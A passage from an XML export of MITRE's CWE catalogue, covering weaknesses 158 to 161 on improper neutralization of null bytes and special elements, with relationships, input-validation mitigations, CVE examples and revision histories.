						Delimiter</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="158" Name="Improper Neutralization of Null Byte or NUL Character" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes NUL characters or null bytes when
					they are sent to a downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected NUL character or null byte may cause the
						software to believe the input is terminated earlier than it actually is, or
						otherwise cause the input to be misinterpreted. This could then be used to
						inject potentially dangerous input that occurs after the null byte or
						otherwise bypass validation routines and other protection mechanisms.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be a factor in multiple interpretation errors, other interaction
						errors, filename equivalence, etc.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that null characters or null bytes will
							be injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2008</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						null.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3293</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						null.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2061</Observed_Example_Reference>
					          <Observed_Example_Description>Trailing null allows file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1774</Observed_Example_Reference>
					          <Observed_Example_Description>Null character in MIME header allows detection
						bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0149</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows remote attackers to view the
						source code for CGI programs via a null character (%00) at the end of a
						URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0671</Observed_Example_Reference>
					          <Observed_Example_Description>Web server earlier allows allows remote attackers
						to bypass access restrictions, list directory contents, and read source code
						by inserting a null character (%00) in the
						URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0738</Observed_Example_Reference>
					          <Observed_Example_Description>Logging system allows an attacker to cause a
						denial of service (hang) by causing null bytes to be placed in log
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1140</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows source code for executable
						programs to be read via a null character (%00) at the end of a
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1031</Observed_Example_Reference>
					          <Observed_Example_Description>Protection mechanism for limiting file access can
						be bypassed using a null character (%00) at the end of the directory
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1025</Observed_Example_Reference>
					          <Observed_Example_Description>Application server allows remote attackers to read
						JSP source code via an encoded null byte in an HTTP GET request, which
						causes the server to send the .JSP file
						unparsed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0768</Observed_Example_Reference>
					          <Observed_Example_Description>XSS protection mechanism only checks for sequences
						with an alphabetical character following a (&lt;), so a non-alphabetical
						or null character (%00) following a &lt; may be processed.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0189</Observed_Example_Reference>
					          <Observed_Example_Description>Decoding function in proxy allows regular
						expression bypass in ACLs via URLs with null
						characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3153</Observed_Example_Reference>
					          <Observed_Example_Description>Null byte bypasses PHP regexp check (interaction
						error).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4155</Observed_Example_Reference>
					          <Observed_Example_Description>Null byte bypasses PHP regexp check (interaction
						error).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "NUL Character Injection", Page
						411.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Null Character / Null Byte</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Null Byte Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>28</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Null Character / Null
						Byte</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Null
						Character / Null Byte</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Null Byte
						or NUL Character</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="159" Name="Failure to Sanitize Special Element" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this attack-focused category do not properly
					filter and interpret special elements in user-controlled input which could cause
					adverse effect on the software behavior and integrity.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The list of children for this entry is far from complete.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>The variety of manipulations that involve special elements is staggering.
						This is one reason why they are so frequently reported.</Text>
				        </Note>
			      </Other_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Precise terminology for the underlying weaknesses does not exist.
						Therefore, these weaknesses use the terminology associated with the
						manipulation. </Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that special elements will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Customized languages and grammars, even those that are specific to a
						particular product, are potential sources of weaknesses that are related to
						special elements. However, most researchers concentrate on the most commonly
						used representations for data transmission, such as HTML and SQL. Any
						representation that is commonly used is likely to be a rich source of
						weaknesses; researchers are encouraged to investigate previously unexplored
						representations.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Common Special Element Manipulations</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Other_Notes,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Common Special Element
						Manipulations</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="160" Name="Improper Neutralization of Leading Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes leading special elements that
					could be interpreted in unexpected ways when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled leading special elements may cause
						the process to take unexpected actions that result in an attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that leading special elements will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Leading Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Leading Special
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Leading
						Special Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Leading Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="161" Name="Improper Neutralization of Multiple Leading Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes multiple leading special elements
					that could be interpreted in unexpected ways when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled multiple leading special elements
						may cause the process to take unexpected actions that result in an attack.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>160</Relationship_Target_ID>
					          <!--Improper Neutralization of Leading Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
